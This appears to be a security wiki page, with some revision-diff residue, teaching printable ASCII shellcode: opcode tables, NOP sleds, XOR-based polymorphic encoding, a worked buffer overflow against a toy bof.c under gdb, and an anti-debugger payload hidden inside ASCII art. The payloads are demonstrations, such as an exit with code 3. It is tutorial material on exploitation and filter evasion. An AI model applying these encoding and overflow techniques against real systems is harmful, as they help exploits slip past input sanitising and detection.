Difference between revisions of "Ascii shellcode"
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{{info|This is a simple win32 alphanumeric encoded shellcode expanded using '''jump'''. It is also possible to expand polymorphic code in this way, or to write a packer/unpacker that interacts with ascii art.}} | {{info|This is a simple win32 alphanumeric encoded shellcode expanded using '''jump'''. It is also possible to expand polymorphic code in this way, or to write a packer/unpacker that interacts with ascii art.}} | ||
==Starting Shellcode== | ==Starting Shellcode== | ||
− | + | {{protip|<i>Lets start out with Koshi's 14 byte alphanumeric NtGlobalFlags payload:</i> | |
'''jpXV34dd3v09Fh''' | '''jpXV34dd3v09Fh''' | ||
− | {{notice|This payload ends on a CMP, so we'll have to add our own jump condition. If the values are equal, the debugger is present; if the values are not, there is no debugger present. So, we can use the '''je''' byte offset instruction ('''t''' in alpha) to maintain printable code. We'll want to exit if there's a debugger present, else we can continue code execution.}} | + | }}{{notice|This payload ends on a CMP, so we'll have to add our own jump condition. If the values are equal, the debugger is present; if the values are not, there is no debugger present. So, we can use the '''je''' byte offset instruction ('''t''' in alpha) to maintain printable code. We'll want to exit if there's a debugger present, else we can continue code execution.}} |
{{code|text= | {{code|text= | ||
<source lang="asm"> | <source lang="asm"> | ||
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cmp dword ptr ds:[esi+68], eax ;9Fh (compare esi pointer offset 0x68 with 0x70.) | cmp dword ptr ds:[esi+68], eax ;9Fh (compare esi pointer offset 0x68 with 0x70.) | ||
</source> | </source> | ||
− | }} | + | }}{{quote|The following must be sequential, and registers must be preserved: |
− | + | ||
* V34dd4v0 - ESI must be zeroed, NtGlobalflags must be stored in ESI. | * V34dd4v0 - ESI must be zeroed, NtGlobalflags must be stored in ESI. | ||
− | * esi cannot be modified until eax is set to 0x6a/'j' and then 9Fh is run as a comparison. | + | * esi cannot be modified until eax is set to 0x6a/'j' and then 9Fh is run as a comparison.|Analysis}} |
==Comparisons and Jumps== | ==Comparisons and Jumps== |
Revision as of 22:27, 7 April 2012
Printable ascii shellcode is used to evade sanitizing on the network and software layers during buffer overflow exploitation. |
Contents
Introduction
Experimentation says |
---|
Ascii shellcode bypasses many character filters and is somewhat easy to learn due to the fact that many ascii instructions are only one or two byte instructions. The smaller the instructions, the more easily obfuscated and randomized they are. During many buffer overflows the buffer is limited to a very small writeable segment of memory, so many times it is important to utilize the smallest possible combination of opcodes. In other cases, more buffer space is available and things like ascii art shellcode are more plausible. |
Available Instructions
|
ASCII Value | Hex Opcode | Assembly Equivalent |
---|---|---|
0 | \x30 | xor |
1 | \x31 | xor |
2 | \x32 | xor |
3 | \x33 | xor |
4 | \x34 | xor al, 0x## [byte] |
5 | \x35 | xor eax, 0x######## [DWORD] |
6 | \x36 | SS Segment Override |
7 | \x37 | aaa |
8 | \x38 | cmp |
9 | \x39 | cmp |
: | \x3a | cmp |
; | \x3b | cmp |
< | \x3c | cmp al, 0x## [byte] |
= | \x3d | cmp eax, 0x######## [DWORD] |
> | \x3e | [undocced nop] |
? | \x3f | aas |
@ | \x40 | inc eax |
A | \x41 | inc ecx |
B | \x42 | inc edx |
C | \x43 | inc ebx |
D | \x44 | inc esp |
E | \x45 | inc ebp |
F | \x46 | inc esi |
G | \x47 | inc edi |
H | \x48 | dec eax |
I | \x49 | dec ecx |
J | \x4a | dec edx |
K | \x4b | dec ebx |
L | \x4c | dec esp |
M | \x4d | dec ebp |
N | \x4e | dec esi |
O | \x4f | dec edi |
P | \x50 | push eax |
Q | \x51 | push ecx |
R | \x52 | push edx |
S | \x53 | push ebx |
T | \x54 | push esp |
U | \x55 | push ebp |
V | \x56 | push esi |
W | \x57 | push edi |
X | \x58 | pop eax |
Y | \x59 | pop ecx |
Z | \x5a | pop edx |
[ | \x5b | pop ebx |
\ | \x5c | pop esp |
] | \x5d | pop ebp |
^ | \x5e | pop esi |
_ | \x5f | pop edi |
` | \x60 | pushad |
a | \x61 | popad |
b | \x62 | bound |
c | \x63 | arpl |
d | \x64 | FS Segment Override |
e | \x65 | GS Segment Override |
f | \x66 | 16 Bit Operand Size |
g | \x67 | 16 Bit Address Size |
h | \x68 | push 0x######## [dword] |
i | \x69 | imul reg/mem with immediate to reg/mem |
j | \x6a | push 0x## [byte] |
k | \x6b | imul immediate with reg into reg |
l | \x6c | insb es:[edi], [dx] |
m | \x6d | insl es:[edi], [dx] |
n | \x6e | outsb [dx], dx:[esi] |
o | \x6f | outsl [dx], ds:[esi] |
p | \x70 | jo 0x## [byte relative offset] |
q | \x71 | jno 0x## [byte relative offset] |
r | \x72 | jb 0x## [byte relative offset] |
s | \x73 | jae 0x## [byte relative offset] |
t | \x74 | je 0x## [byte relative offset] |
u | \x75 | jne 0x## [byte relative offset] |
v | \x76 | jbe 0x## [byte relative offset] |
w | \x77 | ja 0x## [byte relative offset] |
x | \x78 | js 0x## [byte relative offset] |
y | \x79 | jns 0x## [byte relative offset] |
z | \x7a | jp 0x## [byte relative offset] |
Constructing your NOP Sled
Instructions
ASCII Pair | Hex Opcode | Register | Instructions Used | Commonly Detected |
---|---|---|---|---|
AI | \x41\x49 | %ecx | INC, DEC | No |
@H | \x40\x48 | %eax | INC, DEC | Yes |
BJ | \x42\x4A | %edx | INC, DEC | No |
CK | \x43\x4B | %ebx | INC, DEC | No |
DL | \x44\x4C | %esp | INC, DEC | No |
EM | \x45\x4D | %ebp | INC, DEC | No |
FN | \x46\x4E | %esi | INC, DEC | No |
GO | \x47\x4F | %edi | INC, DEC | No |
The professor says |
---|
You can put the Pair in any order, e.g. AI, IA, @H, H@, as long as both characters are used the same number of times. You can even jumble them together. The above is only true when using INC and DEC NOPs exclusively. |
ASCII Pair | Hex Opcode | Register | Instructions Used | Commonly Detected |
---|---|---|---|---|
PX | \x50\x58 | %eax | PUSH, POP | No |
QY | \x51\x59 | %ecx | PUSH, POP | No |
RZ | \x52\x5A | %edx | PUSH, POP | No |
S[ | \x53\x5B | %ebx | PUSH, POP | Yes |
T\ | \x54\x5C | %esp | PUSH, POP | Yes |
U] | \x55\x5D | %ebp | PUSH, POP | Yes |
V^ | \x56\x5E | %esi | PUSH, POP | Yes |
W_ | \x57\x5F | %edi | PUSH, POP | Yes |
a` | \x61\x60 | ALL | PUSH, POP | Yes |
Implementation
There are also other operations can be used as NOPs as well. Of course, these operations do actually do things. This won't affect exploit code because register values are preserved. |
- For example, '4' or 0x34 is:
<syntaxhighlight lang="asm">xor al, 0x??</syntaxhighlight> |
- While '5', or 0x35, is:
<syntaxhighlight lang="asm">xor eax, 0x????</syntaxhighlight> |
So, if P5LULZX were to execute, nothing would happen other than a waste of cpu cycles. The Assembly looks like :
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax xor eax, 0x4c554c5a xorl $0x4c554c5a, %eax pop eax popl %eax </syntaxhighlight> |
The value of the %eax register is momentarily changed and then restored.. That's not really going to modify execution flow, save for cpu cycle count. There's more examples of this too, if the goal is only to create effective NOPs. For example, PhLULZX5LULZX, adds more bytes to the NOP sled:
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax push 0x4c554c5a pushl $0x4c554c5a pop eax popl %eax xor eax, 0x4c554c5a xorl $0x4c554c5a, %eax pop eax popl %eax </syntaxhighlight> |
PUSH/POPS can be mixed with INC/DEC operands without much difficulty. Once a register has been pushed to the stack, anything can be done to its value before popping that register back off the stack.
Even arithmetic calculations can be used as long as the original values of the registers are restored. This preserves the environment for the executing shellcode. |
In this example using the PUSH and POP instructions, PRQXYZQPRXZY, the code simply re-arranges the register values and puts them back in the right place.
The assembly is as follows:
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax push edx pushl %edx push ecx pushl %ecx pop eax popl %eax pop ecx popl %ecx pop edx popl %edx push ecx pushl %ecx push eax pushl %eax push edx pushl %edx pop eax popl %eax pop edx popl %edx pop ecx popl %ecx </syntaxhighlight> |
As far as the INC/DEC instructions are concerned, shellcode like ACBKJI leave the %ecx, %edx, and %ebx registers completely unchanged. Therefore any register can be incremented any number of times so long as the register is decremented the same amount.
Basic Encoding
Single Byte Register Manipulation
- Using only ASCII, the smallest method to zero out the %eax register is five bytes, jXX4X, examined below:
Ascii | Machine Code | Assembly |
---|---|---|
jX | \x6a\x58 | push byte 0x58 |
X | \x58 | pop eax |
4X | \x34\x58 | xor al, 58 |
- Reviewing that five-byte combination line by line:
Assembly | Action |
---|---|
push 0x58 |
pushes 58000000 onto the stack |
pop eax |
pops eax, sets eax to 0x00 00 00 58 |
xor al, 58 |
because al = 58, al now = 00, making eax = 0x00000000 |
Reviewing XOR
XOR (exclusive OR) can sometimes be a serious inconvenience to developers due to the time consuming and tedious nature of xor-encoding by hand. The XOR instruction performs a Bitwise Operation on two values. If the bits are the same, then the corresponding or respective bit is reset to 0. If the two bits are different, then the corresponding or respective bit is set to 1. For example, F xor 3:
1111 F xor 0011 3 = ------------ 1100 C |
Example A | Example B |
---|---|
1111 F xor 1111 F = ---------- 0000 0 |
1001 9 xor 1001 9 = ---------- 0000 0 |
DWORD Manipulation
- Some of the more important printable instructions include:
Ascii | Machine Code/hex | Assembly | Operand Size |
---|---|---|---|
h | \x68 | push 0x########
|
DWORD |
5 | \x35 | xor eax, 0x######## |
DWORD |
4 | \x34 | xor al, 0x## |
BYTE |
X | \x58 | pop eax |
No Operands |
j | \x6a | push 0x##
|
BYTE |
Q | \x51 | push ecx |
No Operands |
P | \x50 | push eax |
No Operands |
Y | \x59 | pop ecx |
No Operands |
Z | \x5a | pop edx |
No Operands |
- So, a small example of ASCII to modify the entire DWORD value of the eax register and set the register value to zero is hLULZX5LULZ:
Ascii | Machine Code | Assembly |
---|---|---|
hLULZ | \x68\x4c\x55\x4c\x5a | push 0x5a4c554c |
X | \x58 | pop eax |
5LULZ | \x35\x4c\x55\x4c\x5a | xor eax, 0x5a4c554c |
- And the DWORD eax register has been manipulated and set to 0 in 11 bytes.
Introduction to Polymorphic Ascii Shellcode
|
Due to the nature of the stack and the x86 architecture, the stack grows backwards, but executes forwards.
|
|
Pushing Nops
The goal is to decode binary ahead of the currently executing printable ascii code. Whenever a register is popped from the stack, the esp has 4 bytes added to its pointer. When the popad or popa instruction is used, %esp has 32 bytes added to its pointer, as 8 registers are popped off the stack at once. Likewise, push and pop of single registers subtract and add 4 to the value of the stack pointer (%esp), respectively. |
Suppose one wanted to use the eax register, set it to all NOPs (0x90) and push it onto the stack, using nothing but ASCII. We can't use the \x90 opcode, because the \x90 code does not live in the ASCII keyspace. Obviously this isn't very useful, but the concept is the important part. A very basic polymorphic code is how we will push 0x90909090 onto the stack without referencing the actual value 0x90 a single time. In the shortest amount of bytes possible, the shellcode to do so is jFX4FH5ooooP (12 bytes), let's analyze that:
Ascii | Machine Code | Assembly |
---|---|---|
jF | \x6a\x46 | pushb $0x46 |
X | \x58 | pop %eax |
4F | \x34\x46 | xor $0x46, %al |
H | \x48 | decl %eax |
5oooo | \x35\x6f\x6f\x6f\x6f | xorl $0x6f6f6f6f, %eax |
P | \x50 | pushl %eax |
If this is still confusing, this is further breakdown, following the %eax register, in both common assembly syntaxes:
ATT SystemV Assembly | Intel Assembly | Value of eax register |
---|---|---|
pushb $0x46 |
push 0x46 |
|
pop %eax |
pop eax |
0x00000046 |
xorb $0x46, %al |
xor al, 0x46 |
0x00000000 |
decl %eax |
dec eax |
0xffffffff |
xorl $0x6f6f6f6f, %eax |
xor eax, 0x6f6f6f6f |
0x90909090 |
pushl %eax |
push eax |
There are two things happening here which haven't been covered thoroughly. The first one of these is the dec eax, or the \x48 instruction. Usually, dec simply decrements the affected register. However, when that register is already equal to 0x00000000, dec will underflow and set the register to 0xffffffff. The second thing is the XOR instruction. The XOR instruction in the above code does an exclusive or as follows:
0xffffffff xor 0x6f6f6f6f
And stores the value in eax, then PUSHes eax. This is a nybble by nybble, byte by byte following of the exclusive or instruction:
1111 1111 1111 1111 1111 1111 1111 1111 (FFFFFFFF) xor 0110 1111 0110 1111 0110 1111 0110 1111 (6F6F6F6F) = ---- ---- ---- ---- ---- ---- ---- ---- -------------- 1001 0000 1001 0000 1001 0000 1001 0000 (90909090)
Polymorphic code should consist of methods which place a random or comment value into a register, and then XOR the register until the desired value has been reached. We can start the register value at any ASCII value, 0x00000000, or 0xffffffff, by XORing a register with itself, or by setting the register value to zero and then decrementing it.
Notice that this shellcode is 100% alphanumeric. There is of course, non-ASCII and non-alphanumeric polymorphic code, which has much less inhibitions than printable ASCII or alpha-numeric bytecode.
A sequence for exit
In linux/x86 the exit interrupt is pretty straight forward:
|
The professor says | ||||
---|---|---|---|---|
If you'd like to test this, put the contents of the above code box into a textfile named exit.s. Then run the following commands in your bash prompt:
|
From assembling to machine code
To get shellcode for the exit sequence, one can use the objdump command line bash utility:
|
- Objdump did a decent favor here - breaking the output into table format:
Memory Address | Machine Code | Assembly |
---|---|---|
400078 | 31 c0 | xor %eax,%eax |
40007a | ff c0 | inc %eax |
40007c | bb 03 00 00 00 | mov $0x3,%ebx |
400081 | cd 80 | int $0x80 |
- It can be easily determined that the machine code for this is "\x31\xc0\xff\xc0\xbb\x03\x00\x00\x00\xcd\x80"
Examining the assembly and shellcode further, because we can easily manipulate eax and ebx, the real challenge here is getting "\xcd\x80" onto the stack. Its also got to go on first, since it is executed last. Closer examination will also reveal one need not push the other instructions, so long as the values of %ebx and %eax are sound when the kernel interrupt is called. So, because "\xcd\x80" is two bytes, or a word, we will have to use the 0x66 (or f in alpha) instruction prefix to force a 16-bit operand size in conjunction with the 0x35 xor dword instruction. Though, we still have to find something that when XOR'd with 0xcd80 appears in the printable character space (between 0x30 and 0x7a). |
Converting Exit to Printable Ascii
We need to keep the following in mind when converting our exit shellcode to ascii:
|
eax & ebx
Lets take a look at %ebx. We'll need to set its value to 0x03. The best way we can do that is by manipulating the %eax register, then pushing the eax register and popping the value back into %ebx. We can do that with the following code:
pushb $0x30 pop %eax xorb $0x33, %al pushl %eax pop %ebx |
Now %ebx and %eax are both 3. The %eax register can simply be decremented twice (H in alpha) to get to the value of '1':
When analyzed:
Assembly | Machine Code | Ascii |
---|---|---|
pushb $0x30 |
\x6a\x30 | j0 |
pop %eax |
\x58 | X |
xor $0x33, %al |
\x34\x33 | 43 |
pushl %eax |
\x50 | P |
pop %ebx |
\x5b | [ |
decl %eax |
\x48 | H |
decl %eax |
\x48 | H |
- The ascii code for this manipulation of the %eax and %ebx registers looks like "j0X43P[HH".
The Kernel Interrupt
This next part is a bit more difficult. We need to construct \xcd\x80 on the stack. So, first, lets zero out the eax register, and decrement it to get 0xffffffff:
Assembly | Ascii |
---|---|
pushb $0x6a |
jj |
pop %eax |
X |
xorb $0x6a, %al |
4j |
decl %eax |
H |
Once we've run jjX4jH, we've got eax set to 0xffffffff. Now, lets determine what our target xor should be:
FFFF xor 80CD = ---------- 7F32
- Now due to the way xor works, we can just assume we're trying to find two ascii sequences that when xor'd together come out to 0x7f32:
Assembly | Machine Code | Ascii |
---|---|---|
xor $0x4f65, %ax |
\x66\x35\x4f\x65 | f5Oe |
xor $0x3057, %ax |
\x66\x35\x30\x57 | f50W |
pushl %eax |
\x50 | P |
- And all put together, our ascii code for getting \xcd\x80 onto the stack in the correct order looks like "jjX4jHf5Oef50WP".
The Code
The first thing we have to do is add to ESP. Lets find out how many bytes we must add by adding up all this shellcode. So far, we've got "jjX4jHf5Oef50WP" and "j0X43P[HH" to push \xcd\x80 onto the stack, and using stack space, we are able to set %eax to 1 and %ebx to 3. The next problem in the equation is that we rely on push to apply values, and we've just pushed instructions (\xcd\x80) onto the stack with the first bit, which could get overwritten or have instructions written in front of it. Now we need to tie all of these things together along with our knowledge of the stack to ensure proper execution of the code. |
There are multiple solutions to this:
|
The shellcoder says |
---|
In this example, we add 8 to %esp by popping an arbitrary register that our code doesn't care about. In this case, the arbitrary register is %edx. So once the exit code has been written, %edx is popped twice to add 8 to %esp. This will not only prevent us from overwriting our exit code with a single push instruction, but also prevents single-push instructions from overwriting code between executing code and the freshly unpacked the exit code. |
In review:
- The stack pointer (%esp) must be set to the value of our shellcode's length in bytes above the instruction pointer (%eip)
- We'll have to manipulate the stack properly to avoid overwriting reconstructed instructions.
To align our stack pointer, we'll use a combination of the popad instruction and pop register instructions - this will ensure the smallest possible code. Assuming that %eip = %esp at the time of our code's execution (it rarely will; we'll get to that) the smallest possible code is 28 bytes:
aPjjX4jHf5eOf5W0PZZj0X43P[HH
So, lets see what's going on here:
Assembly | Machine Code | Ascii | Comment |
---|---|---|---|
popa
|
\x61 | a | Used to align %esp 32 bytes ahead - 4 bytes from the end of our shellcode |
pushl %eax |
\x50 | P | Used to subtract 4 from %esp to align it immediately after our code |
pushb $0x6a |
\x6a\x6a | jj | put $0x6a on the stack |
pop %eax |
\x58 | X | %eax is set to 0x6a |
xorb 0x6a, %al |
\x34\x6a | 4j | Zero out %eax |
decl %eax |
\x48 | H | %eax is now set to 0xffffffff so we can get to \xcd\x80 with xor |
xor $0x4f65, %ax |
\x66\x35\x65\x4F | f5eO | Our first round of xor |
xor $0x3057, %ax |
\x66\x35\x57\x30 | f5W0 | Sets %eax to 0xffff80cd |
push %eax |
\x50 | P | Makes \xcd\x80\xff\xff hit the stack |
pop %edx |
\x5a | Z | Used to add 4 to %esp, because %edx does not matter for our code. |
pop %edx |
\x5a | Z | Add 4 more to %esp, now we're past the code for exit constructed in front of our code |
pushb $0x30 |
\x6a\x30 | j0 | Set up to set ebx = 3 |
pop %eax |
\x58 | X | %eax = $0x30 |
xor $0x33, %al |
\x34\x33 | 43 | set %eax to 3 for moving it into %ebx |
push %eax |
\x50 | P | push 0x00000003 onto the stack, ahead of our interrupt sequence |
pop %ebx |
\x5b | [ | Set the exit code to '3' by the value off of the stack into %ebx |
decl %eax |
\x48 | H | Since we stored 3 in %eax as well as %ebx, we can decrement %eax twice to get 1. |
decl %eax |
\x48 | H | %eax is 1, %ebx is 3. The next bytes have been overwritten with machine code for int $0x80. |
- Now we just need to get this to ascii that we can put onto the stack. The preferred method to do this is by using "strings" against the generated object file. Save the above code in a file called payload.s, assemble it with 'as' and run strings on payload.o, as follows:
[user@host ~]$ as payload.s --32 -o payload.o [user@host ~]$ strings payload.o aPjjX4jHf5eOf5W0PZZj0X43P[HH
- And to make sure its 28 bytes:
[user@host ~]$ echo -n $(strings payload.o)|wc 1 1 28
Testing Our Code
Analyzing our Buffer
Using our bof.c example from buffer overflows, we're given a 100 byte buffer. |
- Lets start with 116 "A" characters to isolate the return pointer:
[hatter@eclipse ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x116'` Starting program: /home/hatter/bof `perl -e 'print "A"x116'` (gdb) x/200x $esp 0xbffff538: 0x00000000 0xb7e35483 0x00000002 0xbffff5d4
- Notice that %esp is aligned at 0xbffff538. Skipping to the end, our code starts appearing at 0xbffff748.
0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 0xbffff748: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff758: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff768: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff778: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7a8: 0x41414141 0x58004141 0x445f4744 0x5f415441
A little bit of hex math will tell us that 0x748 - 0x538 = 0x1f0 (or 496 in decimal). Dividing this by 32 gives us the decimal value '15'. If we go directly to 0xbffff748, we will also have skipped 18 bytes of our code. To round it off, lets make sure we have 32 "A" characters at the beginning. So, if we want our code to execute properly, we can deduce that we will need at least 16 'popa' instructions to get %esp to point to our own code. So, lets do just a little more math here. Lets start with our 32 'A' characters, then 16 'a' characters. Wait, that adds 16 to the required value of %esp, so, we'll add two more 'a' (for a total of 18) characters and a trailing 34 bytes of nop's before our return pointer.
A Successful Overflow
[hatter@eclipse ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Breakpoint 1, 0x080483e7 in main () (gdb) continue Continuing. [Inferior 1 (process 29422) exited with code 03]
Analysis says |
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So here's what happened. When the code hit 0xbffff748, we added (18 * 32 = 576 = 0x240) to the %esp register. Some quick math explains that 0xbffff538 + 0x240 = 778. An examination of where the code wound up will indicate that %esp has been successfully set to a value after the shellcode.
[hatter@eclipse ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Breakpoint 1, 0x080483e7 in main () (gdb) x/200x $esp 0xbffff538: 0x00000000 0xb7e35483 0x00000002 0xbffff5d4 [Shortened for brevity] 0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 0xbffff748: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff758: 0x61614141 0x61616161 0x61616161 0x61616161 0xbffff768: 0x61616161 0x6a6a5061 0x486a3458 0x4f653566 0xbffff778: 0x30573566 0x6a5a5a50 0x33345830 0x48485b50 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141 |
(gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x35 . "\x48\xf7\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x35 . "\x48\xf7\xff\xbf"'` [Inferior 1 (process 17860) exited with code 03] (gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X44P[HHH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X44P[HHH" . "A"x34 . "\x48\xf7\xff\xbf"'` [Inferior 1 (process 18701) exited with code 04] |
Encoding Shellcode : Ascii Art
This is a simple win32 alphanumeric encoded shellcode expanded using jump. It is also possible to expand polymorphic code in this way, or to write a packer/unpacker that interacts with ascii art. |
Starting Shellcode
jpXV34dd3v09Fh
push 'p' ;jp pop eax ;X push esi ;V xor esi, dword ptr ss:[esp] ;34d (now contains esi), esi = 0 xor esi, dword ptr ss:[esi+30] ;d3v0 (store offset 0x30 into esi) cmp dword ptr ds:[esi+68], eax ;9Fh (compare esi pointer offset 0x68 with 0x70.) |
Analysis says |
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The following must be sequential, and registers must be preserved:
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Comparisons and Jumps
Available comparison operators are a little hacky. We can compare the eax register to a dword using the '=' opcode 0x3a, other than that we're limited to the unpredictable x38-0x3b instructions. For brevity we will use the '=' opcode here. Other available printable comparison operators will be reserved for future instructions, as they get much more complex.
- Suppose we wanted to jump 30 bytes ahead in pure ascii. The easy way to do this is by setting the value of the eax register to a controllable ascii DWORD. In our case, we'll use the string 'code':
hcodeX=codet0
- Disassembled, this represents:
push 'code' pop %eax cmp 'code', %eax je 0x30 |
The Ascii Art
This ascii art is 80 bytes wide, so each line is 81 bytes including the newline (0x0a). |
oooooooooo. .o8 `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
Starting the sequence
- Lets see which lines look the best for code insertion. The string 'hcodeX=codet0' is 13 bytes. We can start with a jump to the big string of o's at the top of the 'D' in Debug. The first 'o' is at row two, column 23. 81 + 23 = 104, or 0x68, the 'h' character:
hcodeX=codeth oooooooooo. .o8 `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
- We have now jumped to the top of the D. Going back to our shellcode, as long as we preserve eax, we can jump in the string '=codeth' which is 7 bytes, which lets us squeeze shellcode in spaces. Using our dword 'code' will actually let us tag our shellcode, serving as a tag on the next line in empty space. Because we can only jump 122 bytes, we can't get to a part of the ascii art with enough room. We can solve this problem by finding empty enough space to toss our jump code in, along with a little bit of the necessary shellcode:
The Code
hcodeX=codeth V34d=codet4 .o8 d4v0=codet? `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
- We've actually gotten up to the ? mark, and all the way through the bit of code to store the PEB value into the %esi register using the string 'V34dd4v0' while maintaining our ability to jump around. Our next bit of code is going to be tricky. We'll have to jump 80 bytes to land at the top of our 'e'. From there we'll go to the lower top of the 'n', then to the middle of the 'e'. From there to the middle of the g to the bottom of the b, create an extra bottom on the D to accentuate, then jump to the bottom of the 'g' when we're finished. The end result, after calculating out the ascii looks like:
hcodeX=codeth V34d=codet4 .o8 d4v0=codeti `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 =codet. 888oooo. oooo oooo .oooooooo `88=codetn d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 88=codetk 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `=codet5' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `=codet0' `V88V"V8P' `8oooooo. =codet| d" YD "jpX9Fht?